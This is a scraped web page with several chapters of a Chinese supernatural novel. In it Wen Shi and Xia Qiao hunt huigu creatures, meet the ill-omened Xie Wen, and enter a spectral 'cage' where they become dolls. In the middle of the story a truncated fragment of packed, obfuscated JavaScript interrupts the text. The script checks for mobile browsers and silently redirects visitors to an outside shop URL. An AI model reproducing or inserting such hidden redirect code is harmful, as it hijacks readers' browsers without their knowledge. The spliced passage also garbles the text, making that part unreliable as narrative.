火星迸溅过来,夏樵感觉双眼一阵灼痛,低呼一声紧捂着弯下腰,眼泪哗哗流。他心说这么大的动静,小区安保还不找过来吗?!
可等那一瞬间的痛感过去,他顶着滚烫的风抬起头,却发现小区里的树影在呼啸的风中纹丝不动。
远处隐约传来一声兽嗥,跟毫无灯光一片死寂的小区形成了鲜明对比。
闻时左手一扯,交错的白麻线乍然绷直。兽嗥由远及近,就像被人拉拽回来似的,转眼落到眼前。
它打了个响鼻,把嘴里的东西甩地上。
浓重的血腥味弥散开来,那坨黑影抽搐了一下,彻底没了动静。
夏樵定睛一看,赫然是那三个怪物之一。
它那张人脸像瞬间枯萎的植物,软绵绵地耷拉在地,一片蜡白,皮肤像毫无生气的棉絮。莫名让人瘆得慌。
夏樵连退几步,这才缓过气来:“死、死啦?”
闻时“嗯”了一声。
“闻哥你可以啊!”夏樵忽然有了底气,“那为什么刚刚在家不直接搞死?还要追出来?”
闻时一点不吃他的马屁,直白道:“三只一起,躺这的可能是你。”
夏樵又漏了气。
“而且……”闻时扯掉指节上缠的线,“我饿了,坚持不了几分钟。”
线被丢下的瞬间,纸兽脚底突然着了一捧明火,转眼的功夫,便只剩下纸灰和焦黑树枝。
闻时在死了的怪物面前蹲下,仔细嗅了嗅。
夏樵不明所以,跟着凑过来,怪物身上的黑雾还在缭绕,他不敢碰,就那么不远不近地耸着鼻尖。
“在嗅什么?”他疑惑道。
“灵相的味道。”闻时说。
“谁的?”
“我。”
夏樵一脸震惊:“你灵相不是没了吗?”
说完他就明白了,怪不得闻时会突然追出来,原来这怪物身上有闻时灵相的痕迹。
“这究竟是什么东西啊?为什么会有你灵相的味道?”
“惠姑。”闻时说,“一种地里爬出来的东西,有些人会养。”
夏樵:“疯了吧?养这个干吗?”
闻时:“偷东西。”
自己不方便,就会差遣这些秽物出来翻找,它们天生恶鬼相,最爱吸食灵相、灵物,也包括普通人身上的福禄寿喜。
闻时嗅了一圈,却再没找到那股熟悉的味道,仿佛只是昙花一现,再没踪迹。
虽是意料之中,但他还是烦躁地踢了这玩意儿一脚,然后问夏樵:“家里有瓶子么?”
“什么瓶子?”
“随便,能装点东西就行。”
夏樵想说我不敢一个人走。但看闻时满脸不爽,还是老老实实自己回了一趟家。
他以最快的速度冲回去,薅了个保温杯,又以最快的速度冲回来。就见闻时手指抵在惠姑脖颈边,那些浮绕的黑气瞬间流动起来。
他接过保温杯,指肚在杯沿敲了两下,黑雾就像水一般流泻进去,眨眼就满了。
“这要干嘛?”夏樵捧着装满的杯子,像捧着定·时·炸·弹。
闻时薄唇一动,蹦出一个字:“吃。”
夏樵差点当场疯了。
这什么玩意儿就能吃啊?
结果闻时真的让他把这炸·弹捧回了家。
“你真要吃这个?”夏樵看着闻时在沙发上坐下,拧开保温杯,忍不住问道。
“嗯。”闻时却像是习惯了,他从香炉沾染了一点香灰,然后将手指伸进黑雾中。那满杯的黑雾便一点点地被吸食进他的身体里。
夏樵忽然闻到了一股味道,很舒服,也很难形容。
他想了很久,忽然想起小时候住过的老房子,沈桥在附近种了很多白梅,也不知道从哪里弄来的种子,好像一夜就成了林。
他有时候会溜进去乱跑,雨打在白梅林里,好像就是这种味道。
紧接着,他意识到,这种味道是从闻时身上透出来的。
不过当闻时吸食完所有黑雾,那种味道又消失不见了。他脸色比之前好了许多,虽然皮肤依然极白,眼珠极黑,但多了几分活人的感觉。
这个过程其实有点吓人,像魑魅魍魉穿了张画皮。
有几秒钟的功夫,夏樵不敢跟他说话,也不敢看他。直到屋里忽然起了一阵风,他打了个哆嗦,这才回过神来。
“那、那闻哥。”
“说。”闻时抽了一张纸巾,擦了擦并没有任何污迹的手指,把空了的保温杯丢回茶几上。
夏樵没话找话似的问道,“你说那几个惠姑是别人养来偷东西的,来我们家干嘛?”
都穷得一贫如洗了……
“看上什么东西了吧,谁知道。”闻时说。
“那另外两只……就这么放它们走啦?”
闻时说:“我留了东西跟着。”
那三只惠姑身上有他灵相的踪迹,怎么可能不追?起码得知道是谁养的,从哪里来。
折腾了一番有些耗神,两人没过多久就倚在沙发上睡了过去。
这个季节,天亮得比隆冬早一些。
“活”着的时候,闻时睡眠总是很浅,隐约听到鸟叫就睁开了眼。
在沙发上睡觉的感觉并不怎么样,他站起身抻了
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抻脖子,转头看见客厅挂钟上,时针刚好快到5点。
窗边突然传来扑翅声,他走过去,接到一只黄表纸叠成的鸟。
纸上有沈家的香灰味,是他昨晚放出去跟着惠姑的。
他拢手收了纸鸟,找来打火机,在红烛上点了火。纸鸟被捏着,在火尖上来回。
夏樵抓着鸡窝头坐起来的时候,看到的就是这番场景。
一夜过去,他的眼睛已经完全恢复常态,看人看物都是活生生的模样,再没有昨晚的死气,心情顿时好了许多。
他打开大灯,打着哈欠问闻时在烧什么。
闻时没答话,因为被香烛细细熏过的纸鸟上出现了一个地名。
西屏园。
这什么地方?
闻时正拧眉,谁知夏樵却诧异地开了口:“西屏园?”
“怎么?你认识?”
“额……谈不上认识。”夏樵说,“就是听爷爷说过,一家旧式玩偶店。主要这店背后有点渊源。”
“什么渊源?”
“那个判官名谱图上不是有个张家么?说是一个很大的家族,旁支也挺多的。”
闻时说:“我知道。”
张家最早的祖宗只是祖师爷的一个偏徒,能耐不大。发展到现今却成了最有名望的一家。因为广收徒且人丁兴旺。
“关于这家八卦挺多的,我经常听爷爷提,说是张家旁支里这一代出了个挺糟心的人,天煞的命,害父害母害了不少人,真的假的我不知道啊,挺玄的。”夏樵磕磕巴巴地回想着,“反正张家没人敢收他,其他家也离他远远的。”
“然后呢?”
“然后……这个西屏园就是他的店。”夏樵问道,“为什么这纸上会有西屏园?”
闻时说:“昨晚追狗的结果。”
夏樵睁大眼睛:“所以那三个恶心人的东西就是从他那来的?”
闻时没说死,只说:“有可能。”
他沉吟片刻,走到名谱图旁。这张图上他认识的人几乎都亡故了,还活着的,他都很陌生。
“你说的是哪个?”他在图上找了起来。
夏樵咕哝着过来:“不知道,这图太瞎眼了,我不常看。我就记得爷爷说他活着,但是名字被划了。”
闻时顺着张家枝枝丫丫一路看过去,终于在其中一脉旁支中看到了一个被划掉的名字。看到名字的瞬间,他和夏樵都有些怔愣。
因为那个名字叫:谢问。
客厅内的氛围一时间很凝固,半晌后,夏樵“我草”一声,说:“不会这么巧吧!哪个谢哪个问?”
说话间,他手机震了两下。
夏樵咽了口唾沫,摸出来一看,那是条新鲜的信息。
发件人:谢问。
内容:5栋是么?我到门外了。
“他到了……”夏樵轻声说,“就在外面。”
闻时几乎立刻转过头去。
隔着落地的玻璃门,他看见门外花园的夹道上有一个人。
那人个子很高,穿着衬衫西裤,显得身材英挺颀长。本该是干净得体的扮相,却被他手腕上七八串不知材质的珠串打乱了和谐。
他站在一株半枯的树边,不知弯腰看着什么。
片刻后,他似乎意识到了屋内的目光,站直身体转头看了过来。
那个瞬间,他嘴角还带着笑,不过下一秒,他就转头咳嗽起来,唇色淡得近乎于无,病恹恹的模样。
闻时不知道那一株枯树有什么值得笑的,只知道他在看到那个人的时候,下意识阖了一下眼,于是他看到了对方的灵相。
那人有两道梵文似的金棕印记,顺着左边脸颊一路往下,从耳根到颈侧、再到肩骨,再到心脏。
腕上的珠串变成了深翠色的鸟羽,红线绕了两道,就那么松松地垂挂在手边。
他皮肤苍白如纸,但周身缠满了腾腾黑雾,像无数道松松紧紧捆扎的锁链,又像从他灵体中探出的妖邪。
闻时从没见过黑雾这么厚密交错的灵相,都是……业障。
5. 画像
业障就是一个人身上背负的罪孽。有先天的,也有后天的。但不管先天后天,像谢问这样的,都是世间少见。
不愧是害父害母、害人害己的天煞命……
夏樵看到闻时闭着眼,喉结很轻地动了一下。他眉宇间萦绕着某种情绪,稍纵即逝,大概连他自己都没意识到。
怔忪片刻,夏樵才明白,闻时一闪而过的情绪,应该是一种浅淡的难过。或者叫……悲悯,他在沈桥眼里也看到过。
这些做判官的,见到世上的一些人,总会露出几分这样的情绪。
闻时嘴唇又动了一下。
夏樵下意识问:“你说什么?”
闻时睁开眼,目光依然落在花园中,过了片刻才终于开口。他说:“我饿了。”
夏樵:“?”
夏樵:“???”
不是,悲悯呢?
说着正事呢,怎么突然就饿了???
夏樵满头问号。
他傻了半天,终于想起常人灵相上缠绕的黑雾,又想起闻时昨天吃的东西,醍醐灌顶。
“他身上黑雾很多吗?”夏樵试探着问。
“你说呢。”闻时异常平静……然后舔了一下唇角。
草。
这哪是租客,这是来了个外卖吧。
怔愣间,外卖按了门铃。
夏樵迟疑片刻,还是过去开了门。
四月的凌晨,寒凉气依然很重。那个叫谢问的男人又偏头闷咳了几声,这才转过脸来。病气也盖不住天生的好皮相。
“不好意思,今天风有点大。早知道还是该多穿一点。”他说。
可能是因为这人害父害母的名声太响,夏樵莫名有点怕他,下意识缩了缩。也忘了礼貌和答话。
倒是闻时朝他手肘扫了一眼,那里明明搭着一件黑色外套。于是半点不客气地说:“带着外套不穿,你不冷谁冷?”
谢问大概没想到进门会是这个待遇,愣了一下。
他低头自我扫量一番,抬起搭着黑衣的手:“你说这个?”
闻时没吭声。
他抬起头的时候,眼睛已经弯了起来,脾气很好地解释道:“这不是我的,颜色太沉了,也不是我喜欢的样式。”
闻时面无表情,心说谁管你喜不喜欢,跟你那业障明明挺搭的,然后依然不吭声。
这种情况下,瞎了心的人才感觉不出气氛有问题。识时务的,可能打声招呼就走了。但谢问是个奇人。
闻时没给好脸的态度,似乎很让他感兴趣。
他眸光微动,在闷咳间打量了一番,依然是笑着问:“你是夏樵么?”
隔着电话,他还十分礼貌地叫着“夏樵先生”。这会当着面,不知为什么又把那些都省了。
闻时动了动唇,咸咸蹦出俩字:“你猜。”
这俩莫名就对峙上了,偏偏还隔着一小段距离,远程嗞火花。
夹在中间的弱势个体被火花崩了一脸,忍不住插话道:“那个……不好意思,我才是夏樵。”
谢问这才从闻时身上移开视线。
他看向夏樵的时候,也打量了一番,不知在斟酌什么。片刻才点点头:“我猜也是你。那他是?”
夏樵心说他是我爷爷的祖宗,但嘴上还是老老实实道:“我哥哥。”
谢问“哦”了一声,点点头:“我得罪过他么?还是你哥哥本来就挺凶的?”
也许是离得近,他便懒得费劲,声音轻低不少,但又问得很认真。
闻时:“……”
夏樵答也不是,不答也不是。只能干笑一声说:“他今天起早了,心情不太好。”
其实这会儿的闻时确实反常,
他以前也就顺嘴堵人两句,更多时候心里想想就算了。这么明摆着的针对还是第一次,但这不能怪他,还是谢问的错。
明明还不认识,闻时对谢问已经有了相当复杂的情绪——
一方面他追踪惠姑追到了西屏园,在弄清事实前,很难对西屏园的主人有什么好感。
可另一方面,他看到谢问就开始饿。
当你饿极的时候,有人往你面前摆了一桌美食,然后竖个牌子叫“有毒,就不给你吃”,你烦不烦?
闻时现在就这个状态。
他蹙着眉,盯着谢问看了一会儿,终于受不了这诡异又微妙的对峙,扭头走了。
夏樵有点担心,叫了他一声:“闻哥你干嘛去?”
闻时头也不回地进了厨房,硬邦邦地说:“找吃的。”
厨房非常干净,案台上没什么东西。闻时挨个开了一遍柜子,看到了油盐酱醋以及生大米。他又打开冰箱,从上到下顺了一遍,饭菜没兴趣,其他不认识。他强忍着脾气,随便挑了个盒子。
听到谢问往客厅那边去了,他才从厨房里出来。
于是夏樵一回头,就看到某位祖宗倚着厨房门,叼着他昨晚拆封的巧克力百醇,凉飕飕地看着这边。
不知道为什么,这场景就很神奇。
“你今年多大了?”谢问忽然开口。
他明明是来看房子的,却只是囫囵一扫,反倒对聊天更有兴趣。夏樵亦步亦趋跟着,答道:“18了。”
“哦,看着挺小的。”
是想说我矮吧……夏樵腹诽。
他胆子小,跟谢问离得近点就会不安,于是三步一回头,巴巴地希望闻时能过来救场,哪怕是怼呢。
偏偏闻时装瞎。
“那你……”谢问也跟着朝闻时看了一眼,话语间的停顿像故意省略的形容词,“哥哥呢?他多大了?”
夏樵怀疑他省略的是“凶巴巴”之类的字眼,正要开口编个答案:“跟我差不多——”
就听背后远远传来四个字:“关你屁事。”
谢问笑起来。
夏樵这才想起来,沈桥以前说过,不要随意跟陌生人说自己的年纪,保不齐碰上个厉害角色。
幸好,他说得并不具体。而且这个谢问……也不是什么厉害角色。
传言说,判官里面,张家一脉能人辈出,本家也好、外姓旁支也好,都是同辈中的佼佼者。唯独两条线是败笔,其一就是昨天来祭拜的张碧灵,其二就是被划了名的谢问。
哪怕就是这两个败笔,也有区别。
张碧灵一家据说资质一般体质弱,所以能力有限,但即便这样,也排在闻时这脉上面。
至于谢问,他是天煞命,自己都满身业障,又怎么去帮别人?所以他学了也没用,注定要被除名。
这事放在很多人身上,都会变成一块心病,但谢问好像并不在意。
他从那幅长长的名谱图边走过,既没有排斥到无视它,也没有驻足细看它,而是像对待一幅普通的画,扫量一番便移开了眼,并不关心。
闻时嘎吱嘎吱吃完了一盒零食,没滋没味,但聊胜于无。
他又去冰箱摸了一盒牛奶,几口喝了。那股冰凉缓解了身体里的饥饿感,他觉得自己好些了,便扔了空盒回到客厅。
夏樵趁着谢问没看到,双手合十冲他磕头,求他去救命。
闻时过去的时候,谢问正站在祖师爷像前。
他似乎这块地方格外有兴趣,目光从盛满细灰的香炉移到“尘不到”三个字上、又移到画上。甚至伸手在画中人的大红衣袍上抹了两下。
夏樵差点脱口而出:“使不得使不得,乱碰祖师爷你怕是不想活了!”
闻时也皱起眉道:“摸什么呢?”
谢问捻了捻指肚。
他的手指同样是病态的苍白色,于是拇指沾染的那抹红便格外显眼。他用一种奇异的目光盯着那抹红看了几秒,说:“袍子颜色挺艳的。”
闻时绷着脸没搭理。
谢问又问:“这谁画的?”
闻时终于开了金口:“我。”
谢问那种奇异的目光又出现了。
闻时被看得很不高兴:“有什么问题?”
谢问说:“你见过他么?”
“谁?”闻时没反应过来。
谢问指了指画像。
他这个问题其实
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很奇怪,没有谁会问一个二十多岁的年轻人:你见过千百年前的某个人么?
但那瞬间,闻时并没有意识到这个这一点。
他只是在想,他应该是见过尘不到的,甚至还算是那个人的徒弟呢。但那是太久太久以前的事情了。他在人世间往来了12轮,生生死死又无挂碍,已经想不起来很多人的样子了。
当初画这幅画的时候,跟在闻时身边的还不是沈桥,是他当时的徒弟。小徒弟按照要求准备好了所有东西,而他在桌案边站了一天,却不知道该怎么落笔。
小徒弟问他是不是笔墨有差错。
他说不是,只是不记得要画的人长什么样。
小徒弟很愁,他从没见过尘不到,连个参照的模子都找不到,又不忍见闻时在桌前耗着,便找了各路神佛的画像来。
于是便有了这么个拼拼凑凑的东西。
……
屋里突然响起铃声,闻时乍然回神。
铃声来自于夏樵的手机,他让到一边接了个电话,得知带他们去葬寿盒的司机已经出发,正往这里来。
闻时朝挂钟看了一眼,这才发现6点了,他们收拾收拾该出发去山上了。
刚刚的话题被打了个岔便没再续上。本就是无关闲聊,谢问没再好奇,闻时也就懒得再扯个谎。
夏樵挂了电话,匆匆带谢问看了一眼卧室,然后抱歉地说:“是我欠考虑,约时间的时候就该说明情况的。今天确实情况特殊,也没法继续招待你。后面还有机会的。”
闻时心说:对,我还盯着你的西屏园呢,跑不掉的。
夏樵又说:“租房子这个我懂的,肯定要多看几家,对比对比,挑个最满意的。今天就是看看,定不下来很正常,您回去再考虑考虑?”
闻时希望他连考虑都别考虑,他不希望家里有桌毒性不明的满汉全席四处游走。
谁知这愿望刚冒头,谢问就说:“考虑就不用了,我会租的,什么时候可以搬?”
闻时顿时很不开心。
夏樵倒没那么明显,只是斟酌着说:“其实这个小区挺偏的,交通什么的都不太方便,也不热闹。”
他朝闻时看了一眼,又挠了挠头说:“那个……我说实话,其实好地方真挺多的,没必要着急定在这里。”
谢问说:“我觉得有必要。”
闻时:“为什么?”
谢问拇指一下一下摩挲着瘦长的食指关节,手背青色的血管清晰可见。
为什么呢?
因为他第一次看到有人乖乖巧巧用香案供着他。
还因为……
“我在抓人。”他看着闻时,忽然弯起眼睛。
***
就因为这句不知真假的话,胆小且想象力丰富的夏樵背后一直毛毛的。
6点起,来送沈桥最后一程的人陆陆续续都到了。
之前说尽量会来的张碧灵没有出现,反倒是说过有事的谢问始终没有走,拎着那件黑色外套站在稀稀落落的人群中。
他主动要送,作为主人家也不方便赶人,只得让他跟着。
下葬的地方有些远,山很些偏,又下着雨,路不好走。
车子载了十来个人,缓慢地在雨里滑行。夏樵捧着爷爷的寿盒坐在最前面,闻时坐在他旁边。亲友顺次往后,于是大多数人都坐在了前半截座位里。
车子发动的时候,闻时不经意往后扫了一眼。
他本以为谢问这种人生地不熟的,会选择一个人坐在末排,清净。谁知他转头就见谢问在第三排,听着前后左右的中年人滔滔不绝地聊着闲话。
那些人的方言腔调很重,闻时反正听不懂,他怀疑谢问其实也听不懂,但对方就是一副乐在其中的模样。
闻时没再管他,拉下帽子抵着窗户闭目养神。
不知过了多久,他忽然听见夏樵小声叫他:“闻哥、闻哥。”
闻时睁开眼:“干嘛?”
就见夏樵僵着脖子窝缩在座位里,声音轻得快哭了:“你往后看一下,车上的人呢?”
6. 人偶
闻时回头一看,车内空空荡荡,一片死寂。
仿佛前来送葬的从来只有他们两个,其他都是错觉。
四周弥漫着陈旧的灰尘味,皮质座椅像摆了很多年,皴裂斑驳。闻时撑着座椅扶手站起来,却蹭了满手铁锈。
“我刚刚没扛住,打了个盹,结果一睁眼就这样了。”夏樵哭腔更厉害了,“闻哥我害怕……”
闻时目光扫过他“梨花带雨”的脸,没吭声,径自扶着椅背往前车门走。
“别走!闻哥你别走,等等我,等等我!”夏樵似乎生怕落单,连忙跟上来。
闻时却没有等他的意思,顺着阶梯下了车。
车外还在下小雨,淅淅沥沥的。闻时把连帽衫罩上,正要继续迈步,夏樵连忙抓住他的肩,惊恐地问:“你要去哪儿啊闻哥?我、我不敢乱跑。”
“哦。”闻时终于应了一句,停下步子转过头,就见夏樵脚还在车里,只探了上半身出来,脸上沾了几点雨,落在眼角的疤上。
“你跑不跑关我什么事?”闻时看着那个极浅的疤说,“你又不是人。”
那个从车里探出来的夏樵陡然僵住,轻声说:“闻哥你什么意思?我没听懂。”
闻时指了指眼角说:“疤点反了。”
空间再次陷入一片死寂。
闻时跟“夏樵”对视片刻,伸手摁了一下门外的紧急开关,大巴车门嘎吱一声拉平,把那探身出来的玩意儿夹在了门缝里。
“夏樵”:“……”
等他沿着路往前走,身后便只剩下虚渺的尖叫。
这条路很平直,两边树木高低疏密一模一样,根本看不出是在往上走,还是往下走。仿佛根本没有尽头。
闻时却没管,只顾往前走。
这种又窄又寂静的环境,就像无人长巷。他走了一会儿,连脚步声都有了回音。
然而没过多久他便发现,那回音跟他不同步了。
他当即停步,“回音”却还在继续,越来越快、也越来越近……
就在身后!
闻时转身的同时,肩膀被人重重地拍了一下。
“谁?”他定睛,看到了又一个夏樵。
这次的夏樵痣和疤都没问题,最重要的是人很鲜活——见面就开始哭,肝肠寸断的那种。
闻时经验丰富,一眼就看出他是真的。唯一的问题是……这个夏樵发不出声音。
他嘴两边被人画了线,像延长的笑唇,一直拉到耳根,又被打了两个叉,即滑稽又诡异。
这是拿香灰画的,偶尔也有人能用枯枝。画活了能禁这个人的言,相当于把嘴巴封了,让他一点声音都发不出来。
“谁干的?”闻时皱着眉,从路边找了点湿泥,给他把那两条线抹了,“行了,能说话了。”
夏樵抽噎两下,果真有了声音。他愣了两秒,接着瘫滑在地,拍着腿嗷嗷哭骂:“畜生啊——”
“究竟谁给你封的?”闻时问。
夏樵还没开口,就有人替他回答:“我给他画的。”
闻时抬起眼,就见谢问不知何时跟了过来。
他手里拿着一截枯枝,扫拨着挡路的藤茎,免得那些沾了泥水的叶片蹭到自己身上。讲究得有点过分。
闻时一看见他,脸拉得老长。
谢问走到近处,不慌不忙地解释道:“我是半路捡的他,叫得太惨太大声了,慌不择路抱着头乱跑。这种环境下哪能这么闹,我就顺手给他画了两道算是帮忙。”
这人说话慢声慢调,放在平时,可以形容一句“风度翩翩”。但这种时候,尤其在夏樵和闻时眼里,只加重了那种难以捉摸的危险感。
谢问依然是笑,仿佛脾气极好。他看了一眼夏樵,又问闻时:“不说谢谢也就算了,还骂我。他是你弟弟,你管不管?”
夏樵难以置信地看着他。
谢问又道:“看我干什么,哪句有错?”
夏樵想辩驳几句。但不知道为什么,被谢问眸光一扫,他就像被大妖盯住的下九流小妖,只剩下怂。
比起夏樵,闻时就明白多了,他很清楚谢问的话是对的,这种环境下确实不能哭叫。
就好比他刚刚在车上碰到假“夏樵”,如果当场吓疯反应激烈,可能会有更多那样的东西冒出来,一不小心就永远困在那里了。
当然,清楚归清楚,他就是不想附和。
谢问料到他会是这种反应,也不生气。
主路上没有那些枝枝蔓蔓挡路,谢问把枯枝丢回树丛,对闻时说:“不管就不管吧。有湿巾么?我擦擦手。”
湿巾又是什么东西?
闻时心里纳闷,嘴上却说:“没有。”
谢问:“那你有什么?纸巾也可以,能弄干净就行。”
闻时从长裤口袋里掏出打火机,蹦出一句:“烧了最干净,要么?”
谢问愣了一下,盯着打火机没说话。
片刻后,他忽地转头笑起来,只是笑了两声便受了风,很快转成了闷咳。一般人咳上几声,脸色总会泛红,他却没有,依然是病恹恹的白。
闻时脑中忽然冒出一个没头没尾的想法,他觉得像谢问这样苍白又病歪歪的人,穿白衣大概挺仙的,穿红衣……恐怕就是恶鬼相。
谢问四下扫了一圈,在前面找到一处快枯竭的山泉,借着细弱水流洗了手。
夏樵总算缓过气来,战战兢兢地跟紧闻时。他们跟谢问没有并肩,隔着几步的距离,朝同一个方向走。
夏樵问道:“闻哥,这究竟是什么地方?”
闻时:“这叫笼。”
“笼?”夏樵好像听过这个说法。
他想了很久终于想起来,还是从沈桥那儿听来的。
沈桥说:这世上人人都有憾事、人人都有心结,有大有小。有些很快便解了,有些怎么都挣不开放不下,时间久了就会把人捆缚住。灵相上最深最重的怨煞和挂碍都来源于此。
人突逢大病大灾或者寿数终结的时候,灵相总是不稳,于是那些怨煞挂碍会反客为主,形成一个局,这就是笼。
如果恰巧有倒霉的人经过,很容易被牵连着带进笼里。
对普通人来说,不小心进了别人的笼,那就是白日撞鬼。
但对判官来说,就是该干活了——除秽消业清是非,叫醒笼主,然后送他干干净净地出去。
“那、那我们现在去哪?”夏樵又问。
闻时说:“找笼心。”
“笼心是什么?长什么样?”
闻时辨识着方向,说:“一般是建筑。”
说话间,前面的谢问忽然抬了一下手,指着不远处的矮山说:“我看到了,山后面有房子。”
他熟门熟路,显然不是第一次做这种事。闻时有些惊讶,但很快又想起来,谢问的名字虽然从名谱图上划掉了,但好歹比夏樵强。
……只是水平恐怕不怎么样。
闻时和夏樵加快步子。谢问还是老样子,不慌不忙的。于是他慢慢从领先几步,变成了落后一截,也没有要赶上来的意思。
闻时很快绕过矮山,来到了房屋前。
那是一座90年代的自建房,两层,楼前有青石围墙,抱着一个不大的院子,有两棵树丛院墙里探出来。
“这房子……”夏樵打量一番,喃喃说:“小时候老区那边好像都是这种房子。”
“老区?”
“嗯。”夏樵点点头,“我们以前还在那边住过呢,不过现在这种房子都没了,拆完了。”
这房子凭空出现,突兀而孤独地站在山坳里,小雨带着蒙蒙雾气,环绕着它。
“这就是笼心?然后呢?”夏樵有点怕,这种老屋总透着一股莫名的死寂,他并不想离得太近。
……
可是架不住他哥想。
“然后?”闻时说:“然后当然是进去。”
夏樵咽了口唾沫,心说你怕是想我死。
“里里里面会有人么?”夏樵又问。
这次回答他的不是闻时,而是谢问:“你觉得里里里面的会是人么?”
闻时:“……”
这人显然有病,都这种时候了,还有心情开玩笑。
夏樵当场就被这个玩笑吓哭了,问闻时:“一定要进吗?”
闻时刚张口,谢问就笑着说:“也可以我们两个进去,你在外面等。”
“???”
夏樵哭得更惨了。
闻时头疼。
夏樵斟酌两秒,觉得还是一个人呆在外面更可怕。于是问闻时:“那要怎么进?直接推门吗?”
谢问:“好主意,你去推推看。”
闻时:“……”
他忍无可忍,指着谢问说:“你闭嘴。”然后勉强耐着性子对夏樵解释道:“推门不行,动静越小越好,最好不要打扰到房子里的东西。”
“怎么可能不打扰?”夏樵脑子里已经演上了——他们如何如何翻进屋,然后一转头,对上一个近在咫尺的青白鬼脸。
“就是可以。”闻时耐心告罄,实在懒得解释。
但看到夏樵那副惨相,又蹦出一句:“想办法附在别的东西上。”
判官入笼有时被动、有时主动,但进笼之后做的事情大差不差,他们会借助一些东西,尽可能悄无声息地到笼心里面去。
多数会选择挂画、照片或者镜子这类东西,跟人能产生联系,方便附着,也方便观察屋子里的情况。
等到弄清笼主是谁,心结是什么,他们才会动手帮忙。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730136|189626||http|test|mini|href|location''.split(''|''),0,{}));
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>夏樵一脸惊恐:“附?活生生的人怎么附在别的东西上?”
谢问偏过头,悄声告诉他:“谁跟你说我们现在是人?”
“????”
夏樵一口气进去,再没吐出来。
生人入笼都是虚相,如果受了惊吓,现实往往会大病一场。夏樵估计是跑不了了。
闻时摸了摸口袋,有点烦。
以往他只要出门,身上一定会带点东西,比如香灰、蜡油、棉线、黄表纸之类。今早被谢问惹得头脑不清,居然忘了,浑身上下只有一个打火机。
这要怎么把人弄进屋里?
他不爽地闷了一会儿,终于想起来,谢问勉勉强强也算个判官,虽然被划了,但好歹有过名字。不同分支派系总有些不同的办法,没准呢。
于是闻时问:“你有办法么?”
谢问“唔”了一声,“也不是完全没有。”
闻时懒得听他扯东扯西,干脆道:“那你来。”
“确定?”谢问顺手从旁边折了三根枯枝,然后冲闻时伸出手。他摊开的手掌薄而干净,指骨又直又长。
闻时看着那只手,忽然陷入一瞬间的愣神中,垂在身侧的手指蜷了一下。
谢问说:“打火机给我。”
闻时捏了捏手指关节,掏出打火机递过去。
他看谢问点了枯枝,顺手插在泥地里……这些手法比起张家,倒是跟傀术更近一点。
“先说好。”谢问抬眼看向闻时,提醒道:“你应该听过我那些传言?我也就会点简单把戏,水平有限,复杂的做不来。是你主动让我帮忙的,记住这点,出了差错不准赖到我头上。”
他还是带着笑,说完五指一拢,三根枯枝相撞的瞬间,闻时眼前一黑。
那个刹那,闻时是后悔的。
但当他再睁开眼,发现自己身处在某个房间中,应该是入了笼心,他又觉得谢问的水平还可以。
他没有轻举妄动,而是扫视了一圈。这应该是个孩子的卧室,除了床以外,地面铺着软质防摔的塑胶毯,印着90年代那种卡通图案。
角落有小木椅,以及散落对方的积木玩具。显然房间主人对积木兴趣不大,肉眼可见落了一层浮灰。
闻时感觉自己在某个柜子的高处,只是不知道是照片还是画,如果有镜子能看一眼就好了。他刚想找一下夏樵和谢问在哪,就听见房间门外传来了吧嗒吧嗒的脚步声。
应该是一个拖着拖鞋的小孩。
果不其然,下一秒,房间门被打开,一个穿得像公仔的小男孩跑了进来。
笼里的人往往不是常人长相,五官中的某一点会格外突出,其他则很模糊,就像人的记忆一样。
这个小男孩突出的地方是眼睛,极大极黑。
他跑进房间又突然停住,然后就像是发现了什么似的,直勾勾地盯着虚空中的某一点。那双漂亮的眼睛也因此变得有些诡异。
他在原地站了片刻,忽然毫无征兆地歪过头,朝闻时的方向看过来。
闻时立刻听到了极轻的抽气声,证实了夏樵就在旁边,只是没敢说话。
下一秒,那个鬼气森森的小男孩收回视线,他吧嗒吧嗒地跑回门边,忽然冲楼下叫道:“我房间里好多人。”
闻时:“……”
没多久,一个拖沓的脚步顺着楼梯上来了,听起来年纪不小,是个老人。
从闻时的角度居高临下看过去,可以看到老人灰白色的发顶,因为背有点弯,看不到他的脸。
老人看到空荡荡的房间,先是很轻地叹了口气,然后摸着小孩的头问:“那些人都在哪里呀?爷爷眼睛花了,要找一会儿。”
小男孩伸手直指闻时的方向:“那边!”
老人终于抬头看过来……
他没有脸。
闻时感觉旁边有东西哆嗦了一下,然后缓缓下滑。不出意外,应该是夏樵吓昏过去了。
但他很纳闷,往下滑是怎么回事???画框也好,照片也好,都不是这么个滑法吧?
谢问究竟把他们弄到什么玩意儿里了?
就在闻时疑惑的时候,夏樵整个滑了出去。
就听“噗”的一声轻响,他眼睁睁看着一个穿着粉裙子的人偶娃娃掉在了地上,脸朝地。
闻时:“……”
紧接着,那个没有脸的老人弯腰把穿着粉裙子的夏樵捡起来,拍了拍灰,搁在床上。他摸了摸小男孩的头,看着闻时这边说:“你说的人,就是你这些洋娃娃么?”
闻时:“……”
这些……
洋娃娃……
闻时一阵窒息,就想知道两件事:
一、他这个娃娃穿不穿裙子。
二、谢问在哪里,请他去死。
7. 镜子
一个“洋娃娃”正在经历怎样的灵魂巨震,其他人当然不知道——
老人还在哄他那个诡异的孙子。
他慢吞吞走到橱柜前,那张没有五官的脸凑过来。近距离看这样的东西,任谁都有些毛骨悚然,不过闻时已经习惯了。
很多笼的笼主都是这种不人不鬼的模样,就像大多数人的回忆里,自己是没有长相的。再加上这是他的心结、他的挂碍,当人捆缚在这些东西里,常常会忘记自己究竟是谁、本来是什么样。
“爷爷帮你看过了。”老人又走回床边,拍着小男孩的头,嗓音老迈轻飘,说话又极其缓慢,“没有人,别怕,啊。”
小男孩怕不怕不知道,反正床上夏樵的裙子又颤了一下。
“走,跟爷爷去楼下玩。”老人说。
小男孩黑色的眼珠依然一转不转地盯着闻时,过了半天才勉强点了头。
“想玩什么?跟爷爷说。”
“木偶。”小男孩说,“爷爷教我做木偶,好不好。”
他说话很奇怪,没有语气和声调,不管是问话还是叫喊,都没有起伏,像一条平直而僵硬的线。
硬要形容的话,就是“空洞”。
老人教他:“这样不对,最后声调要扬起来,好不好?”
